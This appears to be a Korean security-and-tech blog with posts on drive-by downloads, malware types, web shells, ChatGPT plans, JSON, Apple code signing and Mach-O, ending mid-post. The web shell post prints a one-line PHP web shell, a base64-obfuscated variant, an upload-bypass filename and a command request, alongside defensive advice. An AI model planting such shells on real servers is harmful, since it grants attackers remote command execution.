“운전하면서 지나가듯 웹사이트를 방문하는 것만으로도 감염된다” → 이게 ‘drive-by’의 어원입니다.

2. 어떻게 동작하는가? (공격 흐름)

악성 웹사이트 세팅
- 공격자는 취약한 웹사이트를 해킹하거나, 자체적으로 악성 웹사이트를 만듭니다.
악성 코드 삽입
- 웹페이지 안에 악성 스크립트(주로 JavaScript) 를 심어놓습니다.
- 또는 광고 네트워크(Ad network)를 통해 악성 광고(Malvertising)를 삽입합니다.
사용자 방문
- 피해자는 아무것도 모른 채 정상 웹사이트를 방문했다가 광고 또는 iframe을 통해 악성 코드에 노출됩니다.
취약점 스캔 및 악성코드 배포
- 사용자의 브라우저, 플러그인(Flash, Java, ActiveX), PDF 뷰어, OS의 취약점을 스캔합니다.
- 취약점이 발견되면 악성코드를 자동으로 다운로드 및 실행시킵니다.
결과
- 사용자 기기는 랜섬웨어, 키로거, 백도어 등의 악성코드에 감염될 수 있습니다.

3. Drive-by Download의 유형

유형	설명
Automatic (자동)	사용자가 아무것도 클릭하지 않아도 백그라운드에서 악성코드가 설치
User-initiated (사용자 유도)	“다운로드”나 “업데이트” 같은 메시지를 속여 클릭을 유도하여 악성 파일을 설치하게 함

최근에는 Automatic 형태로 공격이 이루어집니다.

4. Drive-by Download가 가능한 취약점 예시

브라우저 취약점 (예: Chrome, Safari, Edge의 Zero-day)
플래시 플레이어(Flash Player) 취약점
자바(Java Applet) 취약점
PDF 리더기(Adobe Reader) 취약점
ActiveX 컨트롤 취약점
OS 자체 취약점

특히 업데이트가 안 된 소프트웨어가 주요 표적입니다.

5. Drive-by Download 공격 실제 사례

Angler Exploit Kit (2013~2016)
- 사용자 브라우저를 스캔하고, 취약점이 발견되면 랜섬웨어를 자동 설치.
Neutrino Exploit Kit
- 취약한 Flash Player 플러그인을 이용해 사용자 PC를 감염.
Malvertising
- 유명 언론사 웹사이트의 광고 영역을 통해 악성코드를 배포.

6. Drive-by Download 방어 방법

항목	방어 방법
소프트웨어 업데이트	브라우저, 플러그인, OS 모두 항상 최신 버전 유지
취약한 플러그인 제거	Flash, Java Applet, ActiveX는 아예 비활성화하거나 삭제
신뢰할 수 없는 사이트 방문 금지	의심스러운 사이트나 링크를 클릭하지 않기
광고 차단	애드블록(Adblock)을 설치해 Malvertising을 차단
브라우저 보안 강화	Chrome의 “Site Isolation” 기능 등 활성화
안티바이러스 프로그램 사용	Drive-by Download를 탐지하고 차단할 수 있는 솔루션 사용

특히 요즘은 “제로 트러스트(Zero Trust) 모델” 로 웹 접속 자체를 격리시키는 방법도 사용합니다. (예: Web Isolation)

드라이브 바이 다운로드 공격에 대한 최근 트렌드

1. 정교한 사회공학 기법과 사용자 속임수의 진화

공격자들은 가짜 CAPTCHA, Cloudflare Turnstile 모방, 브라우저 알림 허용 요청 등을 활용하여 사용자를 속이고 악성코드를 설치합니다.
예를 들어, 사용자가 특정 문서를 검색하면 가짜 CAPTCHA를 통해 악성 웹사이트로 유도되고, 이후 브라우저 알림 허용을 요청하여 악성 확장 프로그램을 설치하게 됩니다.

2. 합법적인 웹사이트와 광고 네트워크의 악용 증가

공격자들은 신뢰받는 웹사이트나 광고 네트워크를 침해하여 악성 광고(Malvertising)를 삽입하고, 이를 통해 악성코드를 배포합니다.
이러한 공격은 사용자가 클릭하지 않아도 웹페이지를 로드하는 것만으로도 감염이 발생할 수 있습니다.

3. 익스플로잇 키트(Exploit Kit)의 지속적인 활용

RIG, Fallout 등의 익스플로잇 키트는 여전히 사용되며, 브라우저나 플러그인의 취약점을 자동으로 탐지하고 악성코드를 설치합니다.
이러한 키트는 사용자의 시스템을 스캔하여 알려진 취약점을 찾아내고, 이를 통해 악성코드를 배포합니다.

4. 랜섬웨어와 정보 탈취형 악성코드의 결합

드라이브 바이 다운로드는 단순한 악성코드 설치를 넘어, 랜섬웨어, 정보 탈취형 악성코드(Infostealer), 백도어 등을 설치하여 피해를 확산시킵니다.
예를 들어, SocGholish는 가짜 소프트웨어 업데이트를 통해 악성 JavaScript를 실행하고, 이를 통해 다양한 악성코드를 설치합니다.

Malware 악성코드에 대한 종류와 개념

defcon — Sun, 27 Apr 2025 17:19:02 +0900

Malware(악성코드)의 종류와 개념

구분	설명	주요특징
Virus (바이러스)	다른 파일에 자신을 감염시키는 악성코드	실행 파일(.exe 등)에 붙어서 복제. 숙주가 필요함
Worm (웜)	스스로 복제하여 네트워크를 통해 퍼지는 악성코드	별도 파일에 기생하지 않고 독자적으로 실행
Trojan Horse (트로이 목마)	정상 프로그램인 척 하면서 몰래 악성 기능 수행	백도어 설치, 데이터 탈취 등
Ransomware (랜섬웨어)	파일을 암호화하거나 시스템을 잠그고 몸값(ransom) 요구	데이터 복호화 대가로 금전 요구
Spyware (스파이웨어)	사용자 몰래 정보를 수집하는 악성코드	키 입력 기록, 브라우징 기록, 개인정보 탈취
Rootkit (루트킷)	시스템 깊숙이 숨어서 악성 행위 은폐	프로세스, 파일, 레지스트리 조작 가능. 탐지 어렵게 함
Botnet (봇넷)	감염된 장치를 공격자의 명령에 따라 원격 조종	DDoS 공격, 스팸 발송, 추가 악성코드 배포 등 사용
Backdoor (백도어)	공격자가 시스템에 몰래 접근할 수 있도록설치하는 프로그램	보통 다른 악성코드에 의해 설치됨
Fileless Malware (파일리스 악성코드)	파일을 남기지 않고 메모리 상에서만 동작하는 악성코드	탐지 어렵고, PowerShell, WMI 등을 악용
Logic Bomb (로직폭탄)	특정 조건이 충족되었을 때 악성 행위를 실행	날짜, 키 입력, 파일 생성 등 조건 감지 후 발동
Rogue Software (가짜 보안 소프트웨어)	가짜 백신이나 최적화 프로그램으로 속여 설치를 유도	“컴퓨터에 바이러스가 있습니다!” 같은 팝업 표시

1. Virus (바이러스)

인간 바이러스처럼, 다른 파일을 숙주로 삼아 복제함.
사용자가 감염된 파일을 실행해야 활동을 시작함.

종류	설명	특징
File Infector Virus (파일 감염형)	실행 파일(.exe, .com 등)에 감염되어 실행 시 자신도 실행 ex. Cascade,m CIH	가장 전통적인 바이러스 형태
Macro Virus (매크로 바이러스)	문서 파일(.doc, .xls 등)의 매크로 기능(VBA ;스크립트 등)을 이용해 감염 문서을 실행하면 자동으로 악성 매크로가 실행됨 ex. Melissa, Concept	워드, 엑셀 같은 오피스 파일을 통해 퍼짐
Boot Sector Virus (부트 섹터 바이러스)	하드디스크나 USB의 부트 섹터(부팅영역, boot sector)를 감염시킴 시스템 부팅 시 자동으로 메모리에 상주하여 감염 확산 ex. Michelangelo, Stoned	부팅할 때 자동 실행됨
Multipartite Virus (혼합형 바이러스)	파일과 부트 섹터 둘 다 감염 둘 중 하나만 제거하더라도 나머지 바이러스로 인해 다시 복구 되어 완전한 제거가 어려움 ex. Tequila	감염 경로가 다양해 제거가 복잡함
Polymorphic Virus (다형성 바이러스)	자기복제시 마다 암호화 패턴과 구조를 변형하여 시그니처 탐지를 회피함 백신이 한가지 패턴으로 탐지할 수 없음 ex. Strom Worm	시그니처 기반 백신을 회피함
Metamorphic Virus (변형 바이러스)	복제 시마다 스스로 코드를 다시 작성. 단순 패턴 변형이 아닌 전체 코드를 재작성하여 변형하기 때문에 백신입장에서는 완전히 새로운 바이러스로 보임 ex. Zmist	다형성보다 더 고도화된 은폐 기술
Resident Virus (상주 바이러스)	메모리에 상주하여 다른 파일 실행을 가로채 감염 ex. Randex, CMJ	파일 실행 시 즉시 작동
Non-Resident Virus (비상주 바이러스)	감염될 파일을 직접 찾아다니며 감염시키고 종료 ex. Vienna	메모리에 오래 남지 않음
Overwrite Virus (덮어쓰기 바이러스)	파일 내용을 덮어써서 손상시킴 ex. Trivial.88.D	감염된 파일은 복구 불가
Companion Virus (짝퉁 바이러스)	비슷한 이름의 악성파일을 만들고 사용자가 착각하고 실행하도록 유도 시킴 ex. DOS companion Viruses	예: NOTEPAD.EXE 대신 NOTEPAD.COM

2. Worm (웜)

파일에 기생하지 않고, 스스로 실행하고 퍼짐.
네트워크를 통해 퍼지며, 대규모 감염(예: SQL Slammer Worm).

바이러스 vs 웜

항목	바이러스(Virus)	웜(Worm)
감염 방식	다른 파일/프로그램에 감염 (숙주 필요)	독립 실행 가능 (숙주 불필요)
전파 방식	사용자가 감염된 파일을 실행해야 전파	네트워크를 통해 자동 확산
목적	복제 + 파괴/정보탈취/장애 유발 등	빠른 확산 + 부하 초래/추가 공격 수행
예시	CIH, Melissa, LoveLetter	Code Red, Slammer, Conficker, WannaCry

웜의 종류

종류	설명	특징
Email Worm (이메일 웜)	이메일 첨부파일이나 링크를 통해 전파	주소록을 자동으로 이용
Internet Worm (인터넷 웜)	인터넷을 통해 취약한 시스템을 직접 공격	대량 스캔 + 자동 전파
IM Worm (메신저 웜)	메신저(WhatsApp, MSN 등)를 통해 전파	대화 중 링크 보내기
P2P Worm (P2P 웜)	파일공유 프로그램(P2P) 네트워크 통해 확산	토렌트 같은 공유 네트워크 이용
Network Worm (네트워크 웜)	로컬 네트워크(LAN)에서 전파	회사 내부망 등을 타깃
USB Worm (USB 웜)	USB 드라이브를 통해 퍼짐	오프라인 감염 경로
Hybrid Worm (하이브리드 웜)	여러 경로(이메일+인터넷+P2P)를 혼합	복합 감염, 복합 전파
Payload Worm (페이로드 웜)	웜이 추가적으로 악성 기능(백도어, 랜섬웨어 등)을 내포	감염과 동시에 추가 공격 수행

3. Trojan Horse (트로이 목마)

정상 소프트웨어처럼 위장하지만, 몰래 악성 기능을 수행.
백도어 설치, 정보 탈취 등이 대표적인 목적.

특징	설명
위장	정상 파일, 게임, 업데이트, 문서 파일 등으로 위장
자가 복제 없음	웜이나 바이러스처럼 스스로 복제하거나 전파하지는 않음
수동 설치 유도	사용자가 직접 다운로드하거나 실행하게 만듦 (사회공학 기법 활용)
다양한 악성 기능 포함	백도어 설치, 키로깅, 파일 삭제, 랜섬웨어 설치 등

4. Ransomware (랜섬웨어)

파일을 암호화하거나 시스템을 잠가 인질로 삼고 돈을 요구함.
Cryptolocker, WannaCry 등이 유명.

랜섬웨어 명	등장시기	주요 특징
CryptoLocker	2013	최초의 대규모 암호화 랜섬웨어, 파일 암호화 후 비트코인 요구
Locky	2016	이메일 첨부파일(Word Macro) 통한 대규모 확산
Cerber	2016	자동 음성 메시지로 랜섬 요구, RaaS (서비스형 랜섬웨어) 시초
WannaCry	2017	SMB 취약점(EternalBlue) 이용, 전 세계 대규모 감염
NotPetya	2017	랜섬웨어 위장형 파괴 바이러스 (사실상 데이터 복구 불가)
Ryuk	2018	기업과 기관 대상, 고액 몸값 요구 (수백만 달러)
Sodinokibi (REvil)	2019	대규모 공급망 공격(Supply Chain Attack)에 활용, RaaS 운영
Maze	2019	파일 암호화 + 데이터 탈취 후 공개 협박 (이중 갈취 시작)
Conti	2020	Maze 후계자, 이중 갈취 전략 강화, 병원/공공기관 공격
DarkSide	2020	Colonial Pipeline 공격, 국가 기반 인프라 공격 등장
LockBit	2020~2025	자동화된 네트워크 확산, 현재 가장 활동적인 랜섬웨어 그룹
BlackCat (ALPHV)	2021~	Rust 언어로 개발된 고급 랜섬웨어, RaaS 형태
Cl0p	2019~2025	MOVEit Transfer 제로데이 취약점 악용 (2023~2024년 대규모 공격)

5. Spyware (스파이웨어)

사용자의 행동이나 정보를 몰래 수집.
광고 타겟팅, 계정 탈취 목적으로 많이 사용됨.

종류	설명
Keylogger	사용자의 키보드 입력을 몰래 기록하여 비밀번호, 신용카드 정보 탈취
Password Stealer	저장된 계정과 패스워드를 수집
Infostealer	문서, 쿠키, 브라우저 자동완성 데이터 등 파일 및 민감 데이터 수집
Adware	광고를 무차별로 노출하거나 광고 클릭을 유도 (수익 목적)
Tracking Cookie	사용자의 웹사이트 방문 기록을 추적하고 분석
System Monitor	스크린샷 촬영, 파일 접근 기록, 이메일 활동까지 감시

6. Rootkit (루트킷)

시스템의 핵심부에 숨어 자신의 존재를 숨김.
보안 프로그램, 관리자 권한 확인에서도 보이지 않게 만듦.

7. Botnet (봇넷)

Botnet = Bot + Network 의 합성어입니다.
수많은 감염된 컴퓨터(= Bot 또는 Zombie PC) 를 하나의 네트워크로 연결하여,
공격자가 원격에서 명령을 내리고 조종할 수 있게 만든 시스템입니다.
봇넷은 보통 “사령부” 역할을 하는 C&C 서버(Command & Control Server) 로부터 명령을 받아 동작합니다.

요약: “많은 감염된 기기들을 하나의 군대처럼 다루는 것”

봇넷의 주요 구성요소

구성요소	설명
Bot (봇)	악성코드에 감염되어 공격자의 명령을 따르는 감염된 기기
C&C Server (명령제어 서버)	봇에게 명령을 내리고 결과를 수집하는 중심 서버
Dropper	초기 감염을 담당하는 악성코드
Proxy Layer	실제 공격자 대신 다른 봇을 통해 명령을 전달해 추적을 어렵게 함
P2P Botnet (신형)	중앙 서버 없이 봇끼리 직접 통신하는 분산형 구조

봇넷의 사용 목적

목적	설명
DDoS 공격	수천 대 기기가 동시에 공격, 서버 다운
스팸메일 발송	대량의 피싱 메일, 스팸 메일 발송
정보 탈취	키로깅, 스니핑 등을 통해 정보 수집
랜섬웨어 배포	대규모 랜섬웨어 감염 확산 수단
광고 클릭 사기(Click Fraud)	봇이 광고를 자동 클릭해서 수익 조작
암호화폐 채굴	감염된 기기의 CPU/GPU를 몰래 이용해 암호화폐 채굴

8. Backdoor (백도어)

정상적인 인증 절차를 우회해 은밀하게 시스템에 접근할 수 있도록 해줌.
다른 악성코드가 설치한 경우가 많음.

9. Fileless Malware (파일리스 악성코드)

하드디스크에 파일을 남기지 않고, 메모리 상에서만 활동.
탐지가 어려워서 최근 APT(Advanced Persistent Threat) 공격에 자주 활용됨.

10. Logic Bomb (로직폭탄)

평상시에는 조용히 있다가, 특정 이벤트가 발생하면 활성화됨.
예: 특정 날짜에 시스템을 파괴하는 코드.

11. Rogue Software (가짜 보안 소프트웨어)

사용자에게 “PC가 바이러스에 감염되었습니다!” 경고를 띄우고,
엉터리 백신 구매를 유도하거나 추가 악성코드를 설치하게 함.

대부분의 현대 악성코드는 여러 가지 종류를 조합합니다.

예: 트로이 목마 + 백도어 + 스파이웨어
특히 랜섬웨어는 요즘은 Spyware 기능까지 통합해서, 암호화 + 정보탈취를 동시에 합니다.

웹쉘(Web Shell) 개념

defcon — Sun, 27 Apr 2025 10:06:56 +0900

1. 웹쉘(Web Shell) 개념

웹쉘(Web Shell)은 웹 서버 상에 업로드된 악성 스크립트 파일을 말합니다. 이 파일은 웹 서버에 대한 명령 실행 권한을 공격자에게 제공합니다. 웹쉘 파일은 보통 PHP, ASP, JSP, Perl, Python 같은 웹서버 지원 언어로 작성됩니다.

즉, 요약하면 웹쉘은 웹 서버에 "쉘(shell)"처럼 동작하는 악성 코드를 몰래 심어서 서버를 원격 조작하는 것이다.

2. 웹쉘 공격의 기본 흐름

취약점 탐색
- 파일 업로드 기능, 입력값 검증 미흡, 경로 탐색 취약점 등을 노립니다.
웹쉘 업로드
- 악성 스크립트 파일을 서버에 올립니다.
웹쉘 실행
- 웹쉘에 접속하여 명령어를 보내고 결과를 확인합니다.
추가 침투
- 서버 내부 권한 상승, 추가 백도어 설치, 데이터 탈취 등으로 이어집니다.

3. 웹쉘 업로드 방법 (공격 기술)

주요 공격기법	설명
파일 업로드 취약점	업로드 파일의 확장자나 내용을 제대로 검증하지 않아 악성 파일 업로드
MIME Type 우회	Content-Type을 조작하여 이미지 파일처럼 속이고 악성코드 업로드
이중 확장자	image.php.jpg, file.asp;.jpg 같은 형태로 우회
파일 인클루전(Local File Inclusion, LFI)	취약한 인클루전 기능을 이용해 서버 내부 파일을 덮어쓰기 또는 실행
SQL Injection + 파일 쓰기	SQL Injection을 통해 서버 파일 시스템에 웹쉘 파일 생성
RCE (Remote Code Execution)	원격 코드 실행 취약점으로 바로 웹쉘 설치

4. 웹쉘 은닉 및 탐지 회피 기법

기법	설명
파일명 위장	favicon.ico, upload.jpg처럼 정상 파일로 보이게 이름 설정
확장자 위장	.php5, .phtml 등 허용된 확장자를 악용
코드 난독화	Base64 인코딩, 복잡한 문자열 처리 등으로 소스 분석 어렵게 만듦
스텔스 모드	실행 후 파일 삭제, 메모리 상에서만 동작하는 방식
로그 제거	웹 서버 또는 시스템 로그를 조작하거나 삭제하여 흔적 은폐

5. 웹쉘 공격 사례별 예시

(1) PHP 웹쉘 기본 형태

<?php system($_GET['cmd']); ?>

접속 시 http://target.com/shell.php?cmd=ls → 서버에서 ls 명령 실행

(2) 난독화된 웹쉘

<?php
eval(base64_decode('c3lzdGVtKCRfR0VUWydjbWQnXSk7')); 
?>

base64 디코딩하면 system($_GET['cmd']);로 변환됨.

(3) 파일 업로드 우회 공격 예

업로드 가능한 확장자가 jpg, png만 허용될 경우:
- shell.php.jpg 로 파일명 설정
- 서버가 단순히 .jpg 문자열만 체크하면 우회 성공

(4) HTTP Request에 스텔스하게 명령 보내기

POST /shell.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

cmd=whoami

요청을 POST 방식으로 보내 명령을 은닉함.

6. 웹쉘 탐지 및 방어 방법

방법	설명
업로드 파일 확장자, 내용 검증	MIME Type과 파일 내부 시그니처까지 검사
권한 최소화	업로드 디렉토리에 실행 권한 제거
WAF 설정	웹 애플리케이션 방화벽으로 웹쉘 패턴 탐지
로그 분석	비정상적인 접속/업로드 기록을 탐지
실시간 스캐닝	업로드 파일을 자동 검사하고 차단
코드 리뷰	취약한 코드(파일 업로드, 인클루전 함수 등) 점검
URL 호출 제한	업로드 파일을 직접 접근 못 하게 URL 차단

7. 웹쉘과 관련된 주요 취약점 요약

취약점	설명
File Upload Vulnerability	파일 업로드 검증 실패
Remote Code Execution (RCE)	서버 명령어 실행 가능
Local File Inclusion (LFI)	경로 조작으로 파일 실행 가능
Directory Traversal	디렉토리 이동 조작으로 시스템 파일 접근
SQL Injection	DB 조작으로 웹쉘 심기 가능

ChatGPT 요금제 및 모델별 특징

defcon — Sat, 26 Apr 2025 20:37:59 +0900

ChatGPT 요금제

요금제	월 요금	주요 기능
Free	$0	GPT-4o mini 접근, 제한된 기능
Plus	$20	확장된 기능 및 모델 접근
Pro	$200	무제한 고급 기능 및 모델 접근
Team	$25/인(연간), $30/인(월간)	팀 협업 및 보안 기능
Enterprise	맞춤형 견적	대규모 조직을 위한 고급 기능

Free 요금제

모델 접근: GPT-4o mini
기능 제한:
- 실시간 웹 검색
- 파일 업로드, 데이터 분석, 이미지 생성, 음성 모드 제한적 사용
- macOS용 데스크탑 앱에서 코드 편집
- 사용자 정의 GPT 활용

Plus 요금제 ($20/월)

모델 접근:
- GPT-4o, o3, o4-mini, o4-mini-high
- GPT-4.5 연구 프리뷰
추가 기능:
- 메시지, 파일 업로드, 데이터 분석, 이미지 생성의 확장된 한도
- 표준 및 고급 음성 모드(비디오 및 화면 공유 포함)
- 프로젝트, 작업, 사용자 정의 GPT 생성 및 사용
- 신규 기능 테스트 기회

Pro 요금제 ($200/월)

모델 접근:
- 모든 추론 모델 및 GPT-4o 무제한 접근
- o1 pro 모드 접근
추가 기능:
- 고급 음성 기능 무제한 사용
- 확장된 Deep Research 접근
- Sora 비디오 생성 확장 접근
- Operator 연구 프리뷰 접근

Team 요금제

요금:
- $25/인/월 (연간 청구)
- $30/인/월 (월간 청구)
주요 기능:
- Plus 요금제의 모든 기능 포함
- Google Drive와의 통합을 통한 조직 내부 지식 활용
- GPT-4o에 대한 높은 메시지 한도
- o3-mini, o3-mini-high, o1 모델 접근
- 보안 및 협업을 위한 관리자 콘솔 및 통합 청구
- 기본적으로 팀 데이터는 학습에 사용되지 않음

Enterprise 요금제

요금: 맞춤형 견적 필요
주요 기능:
- GPT-4o에 대한 높은 메시지 한도 및 확장된 컨텍스트 윈도우
- o3, o4-mini, o4-mini-high, o1 pro 모드 접근
- Deep Research, 사용자 정의 GPT, 프로젝트, 파일 업로드, 데이터 분석, 검색 기능 포함
- SCIM, SSO, 도메인 검증, 사용자 분석, GPT 제어 등의 사용자 접근 관리
- CSA STAR 및 SOC 2 Type 2 표준에 부합하는 데이터 보안 및 개인정보 보호
- 강화된 지원 및 계정 관리

GPT 모델별 특징

1. GPT-4o

설명: OpenAI의 주력 모델로, 텍스트, 음성, 이미지, 비디오 등 다양한 입력을 실시간으로 처리하는 멀티모달 기능을 갖추고 있습니다.
특징:
- 실시간 반응성과 자연스러운 대화 능력
- 멀티모달 입력 처리 능력 (텍스트, 음성, 이미지 등)
- 일반 사용자에게 적합한 범용성

2. o3

설명: 고급 추론과 논리적 사고에 최적화된 모델로, 복잡한 문제 해결에 강점을 보입니다.
특징:
- 수학 및 과학 문제 해결 능력 향상
- 코드 작성 및 디버깅 지원
- 웹 검색을 통한 최신 정보 반영

3. o4-mini / o4-mini-high

설명: 빠른 응답과 효율적인 처리에 중점을 둔 경량화 모델로, 일상적인 작업에 적합합니다.
특징:
- 빠른 응답 속도와 낮은 지연 시간
- 텍스트, 이미지, 코드 등 다양한 입력 처리
- 브라우저 내 Python 코드 실행 지원

4. GPT-4.5 (연구 프리뷰)

설명: 가장 최신의 대형 모델로, 창의적인 작업과 아이디어 탐색에 강점을 지니며, 자연스러운 대화를 지원합니다.
특징:
- 확장된 사전 학습과 후속 학습을 통한 성능 향상
- 패턴 인식 및 창의적 통찰력 강화
- 직관적인 대화 흐름 지원

Deep Research 기능 소개

Deep Research는 OpenAI의 ChatGPT에 통합된 고급 리서치 도구로, 복잡한 주제에 대해 다단계의 웹 탐색을 통해 심층적인 보고서를 자동으로 생성합니다.

주요 특징

자동화된 웹 탐색: 사용자의 질문에 대해 관련 정보를 웹에서 수집하고 분석하여 구조화된 보고서를 생성합니다.
다양한 입력 지원: 텍스트, 이미지, PDF 등 다양한 형식의 입력을 처리하여 보다 풍부한 정보를 제공합니다.
시간 효율성: 사람이 수 시간 또는 수일 걸릴 작업을 수 분 내에 완료합니다.
출처 명시: 보고서에 사용된 정보의 출처를 명확히 하여 신뢰성을 높입니다.

사용 방법

ChatGPT에서 'Deep Research' 모드를 선택합니다.
리서치할 주제나 질문을 입력합니다.
필요에 따라 이미지를 업로드하거나 추가 정보를 제공합니다.
AI가 웹을 탐색하여 보고서를 생성합니다.

이용 가능 요금제 및 사용 한도

무료 사용자: 월 5회 '경량' Deep Research 사용 가능
Plus / Team 사용자: 월 25회 사용 가능 (경량 및 전체 버전 포함)
Pro 사용자: 월 250회 사용 가능
Enterprise / Edu 사용자: Team 요금제와 동일한 한도 적용

JSON 데이터 형식의 개념

defcon — Sat, 26 Apr 2025 12:20:35 +0900

JSON(JavaScript Object Notation)은 사람이 읽기 쉽고 기계가 해석하기 쉬운 데이터 형식으로, 주로 데이터의 구조화된 표현을 위해 사용됩니다. 특히 웹 애플리케이션, 설정 파일, API 응답 등에 많이 사용됩니다.

JSON의 기본 구조

JSON은 두 가지 주요 구조를 기반으로 합니다:

객체(Object): {}로 감싸고, 키-값 쌍(key-value pairs)으로 구성됨
배열(Array): []로 감싸고, 값 목록(list of values)으로 구성됨

{
  "name": "John",
  "age": 30,
  "isStudent": false,
  "skills": ["Python", "Java", "C++"],
  "address": {
    "city": "Seoul",
    "zipcode": "12345"
  }
}

구성 요소 설명

요소	설명	예시
객체(Object)	중괄호 {}로 감싸며, "key": value 형태로 표현	{ "name": "Alice" }
배열(Array)	대괄호 []로 감싸며, 여러 값을 콤마로 구분	[1, 2, 3]
문자열(String)	큰따옴표 "로 감싼 텍스트	"hello"
숫자(Number)	정수 또는 부동소수점 숫자	10, 3.14
불리언(Boolean)	true 또는 false	true
null	값을 나타내지 않음을 의미	null

JSON 문법 규칙

문자열은 반드시 큰따옴표 " " 사용
- 작은따옴표 ' '는 안 됨
키(Key)는 문자열만 가능하며 큰따옴표로 감싸야 함
마지막 항목 뒤에 쉼표(,) 사용 금지
데이터 타입은 문자열, 숫자, 불리언, null, 객체, 배열만 사용 가능

JSON 파일 확장자

일반적으로 파일 확장자는 .json을 사용
특정 프로그램에서 .txt 같은 확장자를 사용하더라도 내용이 JSON 형식이면 처리에 문제 없음

JSON 파일의 활용 방안

JSON(JavaScript Object Notation)은 현재 거의 모든 IT 분야에서 사용된다고 해도 과언이 아닐 만큼 널리 활용됩니다. 특히 데이터 교환, 구성 파일, API 통신 등에서 중요한 역할을 합니다.

분야	사용 목적
웹 API	데이터 송수신
앱 설정	구성 파일
DB 저장	NoSQL 문서 저장
테스트 자동화	입력/출력 케이스 명세
프론트엔드	JS 객체와 직결되는 구조로 사용 용이
머신러닝	학습 데이터, 예측 결과 저장
클라우드/DevOps	정책, 리소스 정의 파일

아래는 JSON 형식이 많이 사용되는 분야와 활용 예시입니다:

1. 웹 API (RESTful API) 통신

서버와 클라이언트가 데이터를 주고받을 때 JSON을 주된 형식으로 사용
간결하고 사람이 읽기 쉬워 디버깅과 유지보수가 용이

예시:

GET /api/user/1001 응답
{
  "id": 1001,
  "name": "Alice",
  "email": "alice@example.com"
}

2. 설정 파일 (Configuration File)

많은 소프트웨어가 설정을 JSON 파일로 저장
.json, .config, .babelrc, package.json 등

예시:

{
  "debug": true,
  "port": 8080,
  "logLevel": "info"
}

3. 데이터 저장 및 전송 포맷

가볍고 구조화된 형식이어서 로그 파일, 캐시, 임시 저장소 등에 사용

예시:

{
  "timestamp": "2025-04-24T10:00:00Z",
  "event": "login_success",
  "userId": "chanhui"
}

4. 프론트엔드와 백엔드 간 데이터 교환

JavaScript와 자연스럽게 호환되므로 프론트엔드 개발에서 특히 많이 사용됨

예시: React에서 API 호출 후 응답 처리

fetch('/api/data')
  .then(response => response.json())
  .then(data => console.log(data));

5. 테스트 케이스 및 데이터 모킹

자동화 테스트를 위해 입력값, 예상 출력값을 JSON으로 저장

예시:

{
  "input": [1, 2],
  "expected_output": 3
}

6. 머신러닝 및 AI 학습 데이터

라벨링된 데이터셋, 모델 결과 저장 등에도 사용

예시:

{
  "image": "dog01.jpg",
  "label": "dog"
}

7. NoSQL 데이터베이스

MongoDB, CouchDB 등은 내부적으로 JSON 또는 BSON(JSON의 이진 표현)을 사용

예시 (MongoDB document):

{
  "_id": "abc123",
  "username": "parkchan",
  "roles": ["admin", "user"]
}

8. 클라우드 및 DevOps

AWS, GCP, Azure 등의 리소스 정의, 정책, 응답 형식 등에 JSON 사용
Terraform, Kubernetes 설정에도 JSON을 선택적으로 사용 가능

Apple 코드사인(CodeSign) 개념

defcon — Thu, 24 Apr 2025 18:14:04 +0900

Apple의 코드사인(Code Signing) 메커니즘은 macOS, iOS 등 Apple 플랫폼에서 실행 파일(앱, 프레임워크, dylib 등)의 무결성, 인증, 신뢰성을 보장하기 위한 보안 기술입니다.

Apple 코드사인 메커니즘 개요

1. 목적

코드가 수정되지 않았음 (무결성 확인)
코드의 출처가 신뢰할 수 있음 (인증)
시스템이 해당 코드를 허용해도 되는지 판단 (신뢰성 검증)

코드사인의 구성요소

Apple의 코드서명은 Mach-O 파일 내부와 함께 .app 번들 외부에도 정보가 포함됩니다.

1. Code Signature (서명 블록)

Mach-O 파일 끝에 추가되는 구조체이며, 아래 정보 포함:

CodeDirectory: 해시 테이블 및 서명 메타데이터
CMS Signature: 실제 서명 (X.509 인증서 기반 CMS 구조)
Entitlements: 앱 권한 (예: 앱이 카메라 접근 가능한지 등)
Requirements: 실행 정책 요구사항 (예: Team ID 매칭)

2. X.509 인증서 체인

인증서에는 Apple Developer ID 또는 Apple 공인 서명자가 포함되어야 함.
이 인증서는 codesign 명령어로 서명할 때 같이 포함됨.

3. Mach-O 내 서명 데이터 위치

__LINKEDIT 세그먼트의 마지막에 서명 정보가 추가됨.
otool로 보면:
LC_CODE_SIGNATURE dataoff = <offset> datasize = <size>

코드사인의 동작 원리

1. 앱/라이브러리 서명

개발자는 다음 명령어로 Mach-O 파일을 서명합니다:

codesign -s "Developer ID Application: Your Name (TEAMID)" binary_or_app

이 과정에서:

바이너리의 각 섹션을 해시 → CodeDirectory 생성
CodeDirectory에 대해 CMS 서명 수행
전체 서명 구조를 Mach-O 파일의 끝에 삽입

2. 앱 실행 시 검증 흐름

시스템 또는 커널에서 다음을 확인:

서명이 존재하는지 (LC_CODE_SIGNATURE 확인)
CodeDirectory의 해시가 CMS 서명에 포함된 인증서로 검증되는지
실행 중인 Mach-O 바이너리의 섹션들이 CodeDirectory에 정의된 해시와 일치하는지
Entitlements, Requirements 등 정책 조건 충족 여부 확인

3. System Integrity Protection (SIP), Gatekeeper와 연계

macOS의 Gatekeeper는 App Store 외부에서 실행되는 앱의 서명을 강제 확인
SIP는 시스템 영역의 바이너리 수정 자체를 방지

코드 무결성 검증 방식

Mach-O의 특정 영역만 서명에 포함됩니다:
- 일반적으로 __TEXT, __DATA 등의 실제 코드/데이터 영역
- 서명 자체가 들어간 __LINKEDIT는 제외됨
따라서 서명 이후 __TEXT가 바뀌면 무조건 서명 검증 실패

애플 코드사인이 깨지는 조건

원인	설명
바이너리 섹션 수정	__TEXT, __DATA 등 서명된 코드 변경
데이터 추가	Mach-O 파일 끝에 HMAC 등 추가
서명된 리소스 변경	Info.plist, entitlements 등 수정
인증서 문제	만료/철회된 개발자 인증서
번들 구조 변경	.app 내부 파일 추가/삭제/이동
dylib 로딩 오류	dylib 위치, 서명, 무결성 문제

apple IOS macOS의 Mach-O 파일 구조 개념

defcon — Thu, 24 Apr 2025 09:08:49 +0900

Mach-O(Mach Object) 파일 포맷은 macOS, iOS 등 Apple 운영체제에서 사용되는 실행 파일, 라이브러리(.dylib), 커널 모듈 등 바이너리의 파일 포맷입니다. ELF(Linux)나 PE(Windows)와 같은 목적을 가지며, 모듈화된 구조와 다양한 아키텍처 지원을 위해 설계되었습니다.

Mach-O 파일의 기본 구조

+----------------------+
| Mach Header          | ← 파일 시작
+----------------------+
| Load Commands        |
+----------------------+
| Segment & Section    | ← 실제 바이너리 코드 및 데이터
|   (__TEXT, __DATA 등)|
+----------------------+
| Symbol Table (선택) |
